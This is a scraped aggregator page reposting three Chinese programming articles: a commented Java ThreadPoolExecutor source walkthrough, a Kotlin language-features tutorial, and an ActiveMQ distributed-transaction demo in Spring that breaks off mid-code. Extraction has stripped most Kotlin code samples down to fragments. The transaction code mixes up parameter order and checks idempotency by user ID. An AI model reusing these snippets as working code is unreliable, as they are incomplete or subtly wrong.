COUNT_BITS;private static final int TIDYING = 2 << COUNT_BITS;private static final int TERMINATED = 3 << COUNT_BITS;// Packing and unpacking ctl// 5. runStateOf(),获取线程池状态,通过按位与操作,低29位将全部变成0private static int runStateOf(int c) { return c & ~CAPACITY; }// 6. workerCountOf(),获取线程池worker数量,通过按位与操作,高3位将全部变成0private static int workerCountOf(int c) { return c & CAPACITY; }// 7. ctlOf(),根据线程池状态和线程池worker数量,生成ctl值private static int ctlOf(int rs, int wc) { return rs | wc; }/ Bit field accessors that don't require unpacking ctl. These depend on the bit layout and on workerCount being never negative./// 8. runStateLessThan(),线程池状态小于xxprivate static boolean runStateLessThan(int c, int s) {return c < s;}// 9. runStateAtLeast(),线程池状态大于等于xxprivate static boolean runStateAtLeast(int c, int s) {return c >= s;} 2、构造方法 public ThreadPoolExecutor(int corePoolSize,int maximumPoolSize,long keepAliveTime,TimeUnit unit,BlockingQueue<Runnable> workQueue,ThreadFactory threadFactory,RejectedExecutionHandler handler) {// 基本类型参数校验if (corePoolSize < 0 ||maximumPoolSize <= 0 ||maximumPoolSize < corePoolSize ||keepAliveTime < 0)throw new IllegalArgumentException();// 空指针校验if (workQueue == null || threadFactory == null || handler == null)throw new NullPointerException();this.corePoolSize = corePoolSize;this.maximumPoolSize = maximumPoolSize;this.workQueue = workQueue;// 根据传入参数unit和keepAliveTime,将存活时间转换为纳秒存到变量keepAliveTime 中this.keepAliveTime = unit.toNanos(keepAliveTime);this.threadFactory = threadFactory;this.handler = handler;} 3、提交执行task的过程 public void execute(Runnable command) {if (command == null)throw new NullPointerException();/ Proceed in 3 steps: 1. If fewer than corePoolSize threads are running, try to start a new thread with the given command as its first task. The call to addWorker atomically checks runState and workerCount, and so prevents false alarms that would add threads when it shouldn't, by returning false. 2. If a task can be successfully queued, then we still need to double-check whether we should have added a thread (because existing ones died since last checking) or that the pool shut down since entry into this method. So we recheck state and if necessary roll back the enqueuing if stopped, or start a new thread if there are none. 3. If we cannot queue task, then we try to add a new thread. If it fails, we know we are shut down or saturated and so reject the task./int c = ctl.get();// worker数量比核心线程数小,直接创建worker执行任务if (workerCountOf(c) < corePoolSize) {if (addWorker(command, true))return;c = ctl.get();}// worker数量超过核心线程数,任务直接进入队列if (isRunning(c) && workQueue.offer(command)) {int recheck = ctl.get();// 线程池状态不是RUNNING状态,说明执行过shutdown命令,需要对新加入的任务执行reject()操作。// 这儿为什么需要recheck,是因为任务入队列前后,线程池的状态可能会发生变化。if (! isRunning(recheck) && remove(command))reject(command);// 这儿为什么需要判断0值,主要是在线程池构造方法中,核心线程数允许为0else if (workerCountOf(recheck) == 0)addWorker(null, false);}// 如果线程池不是运行状态,或者任务进入队列失败,则尝试创建worker执行任务。// 这儿有3点需要注意:// 1. 线程池不是运行状态时,addWorker内部会判断线程池状态// 2. addWorker第2个参数表示是否创建核心线程// 3. addWorker返回false,则说明任务执行失败,需要执行reject操作else if (!addWorker(command, false))reject(command);} 4、addworker源码解析 private boolean addWorker(Runnable firstTask, boolean core) {retry:// 外层自旋for (;;) {int c = ctl.get();int rs = runStateOf(c);// 这个条件写得比较难懂,我对其进行了调整,和下面的条件等价// (rs > SHUTDOWN) || // (rs == SHUTDOWN && firstTask != null) || // (rs == SHUTDOWN && workQueue.isEmpty())// 1. 线程池状态大于SHUTDOWN时,直接返回false// 2. 线程池状态等于SHUTDOWN,且firstTask不为null,直接返回false// 3. 线程池状态等于SHUTDOWN,且队列为空,直接返回false// Check if queue empty only if necessary.if (rs >= SHUTDOWN &&! (rs == SHUTDOWN &&firstTask == null &&! workQueue.isEmpty()))return false;// 内层自旋for (;;) {int wc = workerCountOf(c);// worker数量超过容量,直接返回falseif (wc >= CAPACITY ||wc >= (core ? corePoolSize : maximumPoolSize))return false;// 使用CAS的方式增加worker数量。// 若增加成功,则直接跳出外层循环进入到第二部分if (compareAndIncrementWorkerCount(c))break retry;c = ctl.get(); // Re-read ctl// 线程池状态发生变化,对外层循环进行自旋if (runStateOf(c) != rs)continue retry;// 其他情况,直接内层循环进行自旋即可// else CAS failed due to workerCount change; retry inner loop} }boolean workerStarted = false;boolean workerAdded = false;Worker w = null;try {w = new Worker(firstTask);final Thread t = w.thread;if (t != null) {final ReentrantLock mainLock = this.mainLock;// worker的添加必须是串行的,因此需要加锁mainLock.lock();try {// Recheck while holding lock.// Back out on ThreadFactory failure or if// shut down before lock acquired.// 这儿需要重新检查线程池状态int rs = runStateOf(ctl.get());if (rs < SHUTDOWN ||(rs == SHUTDOWN && firstTask == null)) {// worker已经调用过了start()方法,则不再创建workerif (t.isAlive()) // precheck that t is startablethrow new IllegalThreadStateException();// worker创建并添加到workers成功workers.add(w);// 更新largestPoolSize变量int s = workers.size();if (s > largestPoolSize)largestPoolSize = s;workerAdded = true;} } finally {mainLock.unlock();}// 启动worker线程if (workerAdded) {t.start();workerStarted = true;} }} finally {// worker线程启动失败,说明线程池状态发生了变化(关闭操作被执行),需要进行shutdown相关操作if (! workerStarted)addWorkerFailed(w);}return workerStarted;} 5、线程池worker任务单元 private final class Workerextends AbstractQueuedSynchronizerimplements Runnable{/ This class will never be serialized, but we provide a serialVersionUID to suppress a javac warning./private static final long serialVersionUID = 6138294804551838833L;/ Thread this worker is running in. Null if factory fails. /final Thread thread;/ Initial task to run. Possibly null. /Runnable firstTask;/ Per-thread task counter /volatile long completedTasks;/ Creates with given first task and thread from ThreadFactory. @param firstTask the first task (null if none)/Worker(Runnable firstTask) {setState(-1); // inhibit interrupts until runWorkerthis.firstTask = firstTask;// 这儿是Worker的关键所在,使用了线程工厂创建了一个线程。传入的参数为当前workerthis.thread = getThreadFactory().newThread(this);}/ Delegates main run loop to outer runWorker /public void run() {runWorker(this);}// 省略代码...} 6、核心线程执行逻辑-runworker final void runWorker(Worker w) {Thread wt = Thread.currentThread();Runnable task = w.firstTask;w.firstTask = null;// 调用unlock()是为了让外部可以中断w.unlock(); // allow interrupts// 这个变量用于判断是否进入过自旋(while循环)boolean completedAbruptly = true;try {// 这儿是自旋// 1. 如果firstTask不为null,则执行firstTask;// 2. 如果firstTask为null,则调用getTask()从队列获取任务。// 3. 阻塞队列的特性就是:当队列为空时,当前线程会被阻塞等待while (task != null || (task = getTask()) != null) {// 这儿对worker进行加锁,是为了达到下面的目的// 1. 降低锁范围,提升性能// 2. 保证每个worker执行的任务是串行的w.lock();// If pool is stopping, ensure thread is interrupted;// if not, ensure thread is not interrupted. This// requires a recheck in second case to deal with// shutdownNow race while clearing interrupt// 如果线程池正在停止,则对当前线程进行中断操作if ((runStateAtLeast(ctl.get(), STOP) ||(Thread.interrupted() &&runStateAtLeast(ctl.get(), STOP))) &&!wt.isInterrupted())wt.interrupt();// 执行任务,且在执行前后通过beforeExecute()和afterExecute()来扩展其功能。// 这两个方法在当前类里面为空实现。try {beforeExecute(wt, task);Throwable thrown = null;try {task.run();} catch (RuntimeException x) {thrown = x; throw x;} catch (Error x) {thrown = x; throw x;} catch (Throwable x) {thrown = x; throw new Error(x);} finally {afterExecute(task, thrown);} } finally {// 帮助gctask = null;// 已完成任务数加一 w.completedTasks++;w.unlock();} }completedAbruptly = false;} finally {// 自旋操作被退出,说明线程池正在结束processWorkerExit(w, completedAbruptly);} } 本篇文章为转载内容。原文链接:https://blog.csdn.net/grd_java/article/details/113116244。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-21 16:19:45
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...值不允许改变,这样更安全; 枚举属性设置成只读属性后,最好在构造器中为枚举类指定初始值,如果在声明时为枚举指定初始值,会导致所有枚举值(或者说枚举对象)的该属性都一样。 定义枚举类 / 定义一个枚举类 / 枚举类实现接口 枚举值分别实现接口的抽象成员 enum 枚举类统一实现接口的抽象成员 enum 分别实现抽象枚举类抽象成员 enum 委托 委托模式 是软件设计模式中的一项基本技巧。在委托模式中,有两个对象参与处理同一个请求,接受请求的对象将请求委托给另一个对象来处理。委托模式是一项基本技巧,许多其他的模式,如状态模式、策略模式、访问者模式本质上是在更特殊的场合采用了委托模式。委托模式使得我们可以用聚合来替代继承。 Java中委托: interface Printer { Kotlin: interface Printer { by表示 p 将会在 PrintImpl 中内部存储, 并且编译器将自动生成转发给 p 的所有 Printer 的方法。 委托属性 有一些常见的属性类型,虽然我们可以在每次需要的时候手动实现它们, 但是如果能够为大家把他们只实现一次并放入一个库会更好。例如包括: 延迟属性(lazy properties): 其值只在首次访问时计算; 可观察属性(observable properties): 监听器会收到有关此属性变更的通知; 把多个属性储存在一个映射(map)中,而不是每个存在单独的字段中。 为了涵盖这些(以及其他)情况,Kotlin 支持 委托属性 。 委托属性的语法是: var : 在 by 后面的表达式是该 委托, 因为属性对应的 get()(和 set())会被委托给它的 getValue() 和 setValue() 方法。 标准委托: Kotlin 标准库为几种有用的委托提供了工厂方法。 延迟属性 Lazy lazy() 接受一个 lambda 并返回一个 Lazy 实例的函数,返回的实例可以作为实现延迟属性的委托:第一次调用 get() 会执行已传递给 lazy() 的 lambda 表达式并记录结果, 后续调用 get() 只是返回记录的结果。例如: val lazyValue: String 可观察属性 Observable Delegates.observable() 接受两个参数:初始值和修改时处理程序(handler)。每当我们给属性赋值时会调用该处理程序(在赋值后执行)。它有三个参数:被赋值的属性、旧值和新值: class User { 如果想拦截赋的新值,并根据你是不是想要这个值来决定是否给属性赋新值,可以使用 vetoable() 取代 observable(),接收的参数和 observable 一样,不过处理程序 返回值是 Boolean 来决定是否采用新值,即在属性被赋新值生效之前 会调用传递给 vetoable 的处理程序。例如: class User { 把属性存在map 中 一个常见的用例是在一个映射(map)里存储属性的值。这经常出现在像解析 JSON 或者做其他“动态”事情的应用中。在这种情况下,你可以使用映射实例自身作为委托来实现委托属性。 例如: class User(map: Map 在上例中,委托属性会从构造函数传入的map中取值(通过字符串键——属性的名称),如果遇到声明的属性名在map 中找不到对应的key 名,或者key 对应的value 值的类型与声明的属性的类型不一致,会抛出异常。 内联函数 当一个函数被声明为inline时,它的函数体是内联的,也就是说,函数体会被直接替换到函数被调用地方 inline函数(内联函数)从概念上讲是编译器使用函数实现的真实代码来替换每一次的函数调用,带来的最直接的好处就是节省了函数调用的开销,而缺点就是增加了所生成字节码的尺寸。基于此,在代码量不是很大的情况下,我们是否有必要将所有的函数定义为内联?让我们分两种情况进行说明: 将普通函数定义为内联:众所周知,JVM内部已经实现了内联优化,它会在任何可以通过内联来提升性能的地方将函数调用内联化,并且相对于手动将普通函数定义为内联,通过JVM内联优化所生成的字节码,每个函数的实现只会出现一次,这样在保证减少运行时开销的同时,也没有增加字节码的尺寸;所以我们可以得出结论,对于普通函数,我们没有必要将其声明为内联函数,而是交给JVM自行优化。 将带有lambda参数的函数定义为内联:是的,这种情况下确实可以提高性能;但在使用的过程中,我们会发现它是有诸多限制的,让我们从下面的例子开始展开说明: inline 假如我们这样调用doSomething: fun main(args: Array<String>) { 上面的调用会被编译成: fun main(args: Array<String>) { 从上面编译的结果可以看出,无论doSomething函数还是action参数都被内联了,很棒,那让我们换一种调用方式: fun main(args: Array<String>) { 上面的调用会被编译成: fun main(args: Array<String>) { doSomething函数被内联,而action参数没有被内联,这是因为以函数型变量的形式传递给doSomething的lambda在函数的调用点是不可用的,只有等到doSomething被内联后,该lambda才可以正常使用。 通过上面的例子,我们对lambda表达式何时被内联做一下简单的总结: 当lambda表达式以参数的形式直接传递给内联函数,那么lambda表达式的代码会被直接替换到最终生成的代码中。 当lambda表达式在某个地方被保存起来,然后以变量形式传递给内联函数,那么此时的lambda表达式的代码将不会被内联。 上面对lambda的内联时机进行了讨论,消化片刻后让我们再看最后一个例子: inline 上面的例子是否有问题?是的,编译器会抛出“Illegal usage of inline-parameter”的错误,这是因为Kotlin规定内联函数中的lambda参数只能被直接调用或者传递给另外一个内联函数,除此之外不能作为他用;那我们如果确实想要将某一个lambda传递给一个非内联函数怎么办?我们只需将上述代码这样改造即可: inline 很简单,在不需要内联的lambda参数前加上noinline修饰符就可以了。 以上便是我对内联函数的全部理解,通过掌握该特性的运行机制,相信大家可以做到在正确的时机使用该特性,而非滥用或因恐惧弃而不用。 Kotlin下单例模式 饿汉式实现 //Java实现 懒汉式 //Java实现 上述代码中,我们可以发现在Kotlin实现中,我们让其主构造函数私有化并自定义了其属性访问器,其余内容大同小异。 如果有小伙伴不清楚Kotlin构造函数的使用方式。请点击 - - - 构造函数 不清楚Kotlin的属性与访问器,请点击 - - -属性和字段 线程安全的懒汉式 //Java实现 大家都知道在使用懒汉式会出现线程安全的问题,需要使用使用同步锁,在Kotlin中,如果你需要将方法声明为同步,需要添加@Synchronized注解。 双重校验锁式 //Java实现 哇!小伙伴们惊喜不,感不感动啊。我们居然几行代码就实现了多行的Java代码。其中我们运用到了Kotlin的延迟属性 Lazy。 Lazy内部实现 public 观察上述代码,因为我们传入的mode = LazyThreadSafetyMode.SYNCHRONIZED, 那么会直接走 SynchronizedLazyImpl,我们继续观察SynchronizedLazyImpl。 Lazy接口 SynchronizedLazyImpl实现了Lazy接口,Lazy具体接口如下: public 继续查看SynchronizedLazyImpl,具体实现如下: SynchronizedLazyImpl内部实现 private 通过上述代码,我们发现 SynchronizedLazyImpl 覆盖了Lazy接口的value属性,并且重新了其属性访问器。其具体逻辑与Java的双重检验是类似的。 到里这里其实大家还是肯定有疑问,我这里只是实例化了SynchronizedLazyImpl对象,并没有进行值的获取,它是怎么拿到高阶函数的返回值呢?。这里又涉及到了委托属性。 委托属性语法是:val/var : by 。在 by 后面的表达式是该 委托, 因为属性对应的 get()(和 set())会被委托给它的 getValue() 和 setValue() 方法。属性的委托不必实现任何的接口,但是需要提供一个 getValue() 函数(和 setValue()——对于 var 属性)。 而Lazy.kt文件中,声明了Lazy接口的getValue扩展函数。故在最终赋值的时候会调用该方法。 internal.InlineOnly 静态内部类式 //Java实现 静态内部类的实现方式,也没有什么好说的。Kotlin与Java实现基本雷同。 补充 在该篇文章结束后,有很多小伙伴咨询,如何在Kotlin版的Double Check,给单例添加一个属性,这里我给大家提供了一个实现的方式。(不好意思,最近才抽出时间来解决这个问题) class SingletonDemo private constructor( 其中关于?:操作符,如果 ?: 左侧表达式非空,就返回其左侧表达式,否则返回右侧表达式。请注意,当且仅当左侧为空时,才会对右侧表达式求值。 Kotlin 智能类型转换 对于子父类之间的类型转换 先看这样一段 Java 代码 public 尽管在 main 函数中,对 person 这个对象进行了类型判断,但是在使用的时候还是需要强制转换成 Student 类型,这样是不是很不智能? 同样的情况在 Kotlin 中就变得简单多了 fun main(args: Array<String>) { 在 Kotlin 中,只要对类型进行了判断,就可以直接通过父类的对象去调用子类的函数了 安全的类型转换 还是上面的那个例子,如果我们没有进行类型判断,并且直接进行强转,会怎么样呢? public static void main(String[] args) { 结果就只能是 Exception in thread "main" java.lang.ClassCastException 那么在 Kotlin 中是不是会有更好的解决方法呢? val person: Person = Person() 在转换操作符后面添加一个 ?,就不会把程序 crash 掉了,当转化失败的时候,就会返回一个 null 在空类型中的智能转换 需要提前了解 Kotlin 类型安全的相关知识(Kotlin 中的类型安全(对空指针的优化处理)) String? = aString 在定义的时候定义成了有可能为 null,按照之前的写法,我们需要这样写 String? = 但是已经进行了是否为 String 类型的判断,所以就一定 不是 空类型了,也就可以直接输出它的长度了 T.()->Unit 、 ()->Unit 在做kotlin开发中,经常看到一些系统函数里,用函数作为参数 public .()-Unit与()->Unit的区别是我们调用时,在代码块里面写this,的时候,两个this代表的含义不一样,T.()->Unit里的this代表的是自身实例,而()->Unit里,this代表的是外部类的实例。 推荐阅读 对 Kotlin 与 Java 编程语言的思考 使用 Kotlin 做开发一个月后的感想 扫一扫 关注我的公众号如果你想要跟大家分享你的文章,欢迎投稿~ 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39611037/article/details/109984124。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-23 23:56:14
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...三段提交是一种严格的安全确认机制,其安全性是非常高的,但是保证安全性的前提是牺牲了性能,这个就是分布式系统里面的CAP理论,做任何架构的前提需要有取舍。所以基于XA协议的分布式事务并发性不高,不适合高并发场景。 2、基于activemq的解决方案 如图: 1、支付宝扣款成功时往message表插入消息 2、message表有message_id(流水id,标识夸系统的一次转账操作),status(confirm,unconfirm) 3、timer扫描message表的unconfirm状态记录往activemq插入消息 4、余额宝收到消息消费消息时先查询message表如果有记录就不处理如果没记录就进行数据库增款操作 5、如果余额宝数据库操作成功往余额宝message表插入消息,表字段跟支付宝message一致 6、如果5操作成功,回调支付宝接口修改message表状态,把unconfirm状态转换成confirm状态 问题描述: 1、支付宝设计message表的目的 如果支付宝往activemq插入消息而余额宝消费消息异常,有可能是消费消息成功而事务操作异常,有可能是网络异常等等不确定因素。如果出现异常而activemq收到了确认消息的信号,这时候activemq中的消息是删除了的,消息丢失了。设置message表就是有一个消息存根,activemq中消息丢失了message表中的消息还在。解决了activemq消息丢失问题 2、余额宝设计message表的目的 当余额宝消费成功并且数据库操作成功时,回调支付宝的消息确认接口,如果回调接口时出现异常导致支付宝状态修改失败还是unconfirm状态,这时候还会被timer扫描到,又会往activemq插入消息,又会被余额宝消费一边,但是这条消息已经消费成功了的只是回调失败而已,所以就需要有一个这样的message表,当余额宝消费时先插入message表,如果message根据message_id能查询到记录就说明之前这条消息被消费过就不再消费只需要回调成功即可,如果查询不到消息就消费这条消息继续数据库操作,数据库操作成功就往message表插入消息。 这样就解决了消息重复消费问题,这也是消费端的幂等操作。 基于消息中间件的分布式事务是最理想的分布式事务解决方案,兼顾了安全性和并发性! 接下来贴代码: 支付宝代码: @Controller@RequestMapping("/order")public class OrderController {/ @Description TODO @param @return 参数 @return String 返回类型 @throws userID:转账的用户ID amount:转多少钱/@Autowired@Qualifier("activemq")OrderService orderService;@RequestMapping("/transfer")public @ResponseBody String transferAmount(String userId,String messageId, int amount) {try {orderService.updateAmount(amount,messageId, userId);}catch (Exception e) {e.printStackTrace();return "===============================transferAmount failed===================";}return "===============================transferAmount successfull===================";}@RequestMapping("/callback")public String callback(String param) {JSONObject parse = JSONObject.parseObject(param);String respCode = parse.getString("respCode");if(!"OK".equalsIgnoreCase(respCode)) {return null;}try {orderService.updateMessage(param);}catch (Exception e) {e.printStackTrace();return "fail";}return "ok";} } public interface OrderService {public void updateAmount(int amount, String userId,String messageId);public void updateMessage(String param);} @Service("activemq")@Transactional(rollbackFor = Exception.class)public class OrderServiceActivemqImpl implements OrderService {Logger logger = LoggerFactory.getLogger(getClass());@AutowiredJdbcTemplate jdbcTemplate;@AutowiredJmsTemplate jmsTemplate;@Overridepublic void updateAmount(final int amount, final String messageId, final String userId) {String sql = "update account set amount = amount - ?,update_time=now() where user_id = ?";int count = jdbcTemplate.update(sql, new Object[]{amount, userId});if (count == 1) {//插入到消息记录表sql = "insert into message(user_id,message_id,amount,status) values (?,?,?,?)";int row = jdbcTemplate.update(sql,new Object[]{userId,messageId,amount,"unconfirm"});if(row == 1) {//往activemq中插入消息jmsTemplate.send("zg.jack.queue", new MessageCreator() {@Overridepublic Message createMessage(Session session) throws JMSException {com.zhuguang.jack.bean.Message message = new com.zhuguang.jack.bean.Message();message.setAmount(Integer.valueOf(amount));message.setStatus("unconfirm");message.setUserId(userId);message.setMessageId(messageId);return session.createObjectMessage(message);} });} }}@Overridepublic void updateMessage(String param) {JSONObject parse = JSONObject.parseObject(param);String messageId = parse.getString("messageId");String sql = "update message set status = ? where message_id = ?";int count = jdbcTemplate.update(sql,new Object[]{"confirm",messageId});if(count == 1) {logger.info(messageId + " callback successfull");} }} activemq.xml <?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:amq="http://activemq.apache.org/schema/core"xmlns:jms="http://www.springframework.org/schema/jms"xmlns:context="http://www.springframework.org/schema/context"xmlns:mvc="http://www.springframework.org/schema/mvc"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans-4.1.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context-4.1.xsdhttp://www.springframework.org/schema/mvchttp://www.springframework.org/schema/mvc/spring-mvc-4.1.xsdhttp://www.springframework.org/schema/jmshttp://www.springframework.org/schema/jms/spring-jms-4.1.xsdhttp://activemq.apache.org/schema/corehttp://activemq.apache.org/schema/core/activemq-core-5.12.1.xsd"><context:component-scan base-package="com.zhuguang.jack" /><mvc:annotation-driven /><amq:connectionFactory id="amqConnectionFactory"brokerURL="tcp://192.168.88.131:61616"userName="system"password="manager" /><!-- 配置JMS连接工长 --><bean id="connectionFactory"class="org.springframework.jms.connection.CachingConnectionFactory"><constructor-arg ref="amqConnectionFactory" /><property name="sessionCacheSize" value="100" /></bean><!-- 定义消息队列(Queue) --><bean id="demoQueueDestination" class="org.apache.activemq.command.ActiveMQQueue"><!-- 设置消息队列的名字 --><constructor-arg><value>zg.jack.queue</value></constructor-arg></bean><!-- 配置JMS模板(Queue),Spring提供的JMS工具类,它发送、接收消息。 --><bean id="jmsTemplate" class="org.springframework.jms.core.JmsTemplate"><property name="connectionFactory" ref="connectionFactory" /><property name="defaultDestination" ref="demoQueueDestination" /><property name="receiveTimeout" value="10000" /><!-- true是topic,false是queue,默认是false,此处显示写出false --><property name="pubSubDomain" value="false" /></bean></beans> spring-dispatcher.xml <beans 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http://www.springframework.org/schema/task/spring-task-3.0.xsdhttp://www.springframework.org/schema/txhttp://www.springframework.org/schema/tx/spring-tx-3.0.xsdhttp://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.0.xsd"><!-- 引入同文件夹下的redis属性配置文件 --><!-- 解决springMVC响应数据乱码 text/plain就是响应的时候原样返回数据--><import resource="../activemq/activemq.xml"/><!--<context:property-placeholder ignore-unresolvable="true" location="classpath:config/core/core.properties,classpath:config/redis/redis-config.properties" />--><bean id="propertyConfigurerForProject1" class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer"><property name="order" value="1" /><property name="ignoreUnresolvablePlaceholders" value="true" /><property name="location"><value>classpath:config/core/core.properties</value></property></bean><mvc:annotation-driven><mvc:message-converters register-defaults="true"><bean class="org.springframework.http.converter.StringHttpMessageConverter"><property name="supportedMediaTypes" value = "text/plain;charset=UTF-8" /></bean></mvc:message-converters></mvc:annotation-driven><!-- 避免IE执行AJAX时,返回JSON出现下载文件 --><bean id="mappingJacksonHttpMessageConverter" class="org.springframework.http.converter.json.MappingJacksonHttpMessageConverter"><property name="supportedMediaTypes"><list><value>text/html;charset=UTF-8</value></list></property></bean><!-- 开启controller注解支持 --><!-- 注:如果base-package=com.avicit 则注解事务不起作用 TODO 读源码 --><context:component-scan base-package="com.zhuguang"></context:component-scan><mvc:view-controller path="/" view-name="redirect:/index" /><beanclass="org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping" /><bean id="handlerAdapter"class="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter"></bean><beanclass="org.springframework.web.servlet.view.ContentNegotiatingViewResolver"><property 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name="jdbcUrl"><value>${jdbc.url}</value></property><property name="user"><value>${jdbc.username}</value></property><property name="password"><value>${jdbc.password}</value></property><property name="minPoolSize" value="10" /><property name="maxPoolSize" value="100" /><property name="maxIdleTime" value="1800" /><property name="acquireIncrement" value="3" /><property name="maxStatements" value="1000" /><property name="initialPoolSize" value="10" /><property name="idleConnectionTestPeriod" value="60" /><property name="acquireRetryAttempts" value="30" /><property name="breakAfterAcquireFailure" value="false" /><property name="testConnectionOnCheckout" value="false" /><property name="acquireRetryDelay"><value>100</value></property></bean><bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate"><property name="dataSource" ref="dataSource"></property></bean><bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager"><property name="dataSource" ref="dataSource"/></bean><tx:annotation-driven transaction-manager="transactionManager" proxy-target-class="true" /><aop:aspectj-autoproxy expose-proxy="true"/></beans> logback.xml <?xml version="1.0" encoding="UTF-8"?><!--scan:当此属性设置为true时,配置文件如果发生改变,将会被重新加载,默认值为true。scanPeriod:设置监测配置文件是否有修改的时间间隔,如果没有给出时间单位,默认单位是毫秒当scan为true时,此属性生效。默认的时间间隔为1分钟。debug:当此属性设置为true时,将打印出logback内部日志信息,实时查看logback运行状态。默认值为false。--><configuration scan="false" scanPeriod="60 seconds" debug="false"><!-- 定义日志的根目录 --><!-- <property name="LOG_HOME" value="/app/log" /> --><!-- 定义日志文件名称 --><property name="appName" value="netty"></property><!-- ch.qos.logback.core.ConsoleAppender 表示控制台输出 --><appender name="stdout" class="ch.qos.logback.core.ConsoleAppender"><Encoding>UTF-8</Encoding><!--日志输出格式:%d表示日期时间,%thread表示线程名,%-5level:级别从左显示5个字符宽度%logger{50} 表示logger名字最长50个字符,否则按照句点分割。 %msg:日志消息,%n是换行符--><encoder><pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern></encoder></appender><!-- 滚动记录文件,先将日志记录到指定文件,当符合某个条件时,将日志记录到其他文件 --> <appender name="appLogAppender" class="ch.qos.logback.core.rolling.RollingFileAppender"><Encoding>UTF-8</Encoding><!-- 指定日志文件的名称 --> <file>${appName}.log</file><!--当发生滚动时,决定 RollingFileAppender 的行为,涉及文件移动和重命名TimeBasedRollingPolicy: 最常用的滚动策略,它根据时间来制定滚动策略,既负责滚动也负责出发滚动。--><rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy"><!--滚动时产生的文件的存放位置及文件名称 %d{yyyy-MM-dd}:按天进行日志滚动 %i:当文件大小超过maxFileSize时,按照i进行文件滚动--><fileNamePattern>${appName}-%d{yyyy-MM-dd}-%i.log</fileNamePattern><!-- 可选节点,控制保留的归档文件的最大数量,超出数量就删除旧文件。假设设置每天滚动,且maxHistory是365,则只保存最近365天的文件,删除之前的旧文件。注意,删除旧文件是,那些为了归档而创建的目录也会被删除。--><MaxHistory>365</MaxHistory><!-- 当日志文件超过maxFileSize指定的大小是,根据上面提到的%i进行日志文件滚动 注意此处配置SizeBasedTriggeringPolicy是无法实现按文件大小进行滚动的,必须配置timeBasedFileNamingAndTriggeringPolicy--><timeBasedFileNamingAndTriggeringPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP"><maxFileSize>100MB</maxFileSize></timeBasedFileNamingAndTriggeringPolicy></rollingPolicy><!--日志输出格式:%d表示日期时间,%thread表示线程名,%-5level:级别从左显示5个字符宽度 %logger{50} 表示logger名字最长50个字符,否则按照句点分割。 %msg:日志消息,%n是换行符--> <encoder><pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [ %thread ] - [ %-5level ] [ %logger{50} : %line ] - %msg%n</pattern></encoder></appender><!-- logger主要用于存放日志对象,也可以定义日志类型、级别name:表示匹配的logger类型前缀,也就是包的前半部分level:要记录的日志级别,包括 TRACE < DEBUG < INFO < WARN < ERRORadditivity:作用在于children-logger是否使用 rootLogger配置的appender进行输出,false:表示只用当前logger的appender-ref,true:表示当前logger的appender-ref和rootLogger的appender-ref都有效--><!-- <logger name="edu.hyh" level="info" additivity="true"><appender-ref ref="appLogAppender" /></logger> --><!-- root与logger是父子关系,没有特别定义则默认为root,任何一个类只会和一个logger对应,要么是定义的logger,要么是root,判断的关键在于找到这个logger,然后判断这个logger的appender和level。 --><root level="debug"><appender-ref ref="stdout" /><appender-ref ref="appLogAppender" /></root></configuration> 2、余额宝代码 package com.zhuguang.jack.controller;import com.alibaba.fastjson.JSONObject;import com.zhuguang.jack.service.OrderService;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controller@RequestMapping("/order")public class OrderController {/ @Description TODO @param @return 参数 @return String 返回类型 @throws 模拟银行转账 userID:转账的用户ID amount:转多少钱/@AutowiredOrderService orderService;@RequestMapping("/transfer")public @ResponseBody String transferAmount(String userId, String amount) {try {orderService.updateAmount(Integer.valueOf(amount), userId);}catch (Exception e) {e.printStackTrace();return "===============================transferAmount failed===================";}return "===============================transferAmount successfull===================";} } 消息监听器 package com.zhuguang.jack.listener;import com.alibaba.fastjson.JSONObject;import com.zhuguang.jack.service.OrderService;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.http.client.SimpleClientHttpRequestFactory;import org.springframework.stereotype.Service;import org.springframework.transaction.annotation.Transactional;import org.springframework.web.client.RestTemplate;import javax.jms.JMSException;import javax.jms.Message;import javax.jms.MessageListener;import javax.jms.ObjectMessage;@Service("queueMessageListener")public class QueueMessageListener implements MessageListener {private Logger logger = LoggerFactory.getLogger(getClass());@AutowiredOrderService orderService;@Transactional(rollbackFor = Exception.class)@Overridepublic void onMessage(Message message) {if (message instanceof ObjectMessage) {ObjectMessage objectMessage = (ObjectMessage) message;try {com.zhuguang.jack.bean.Message message1 = (com.zhuguang.jack.bean.Message) objectMessage.getObject();String userId = message1.getUserId();int count = orderService.queryMessageCountByUserId(userId);if (count == 0) {orderService.updateAmount(message1.getAmount(), message1.getUserId());orderService.insertMessage(message1.getUserId(), message1.getMessageId(), message1.getAmount(), "ok");} else {logger.info("异常转账");}RestTemplate restTemplate = createRestTemplate();JSONObject jo = new JSONObject();jo.put("messageId", 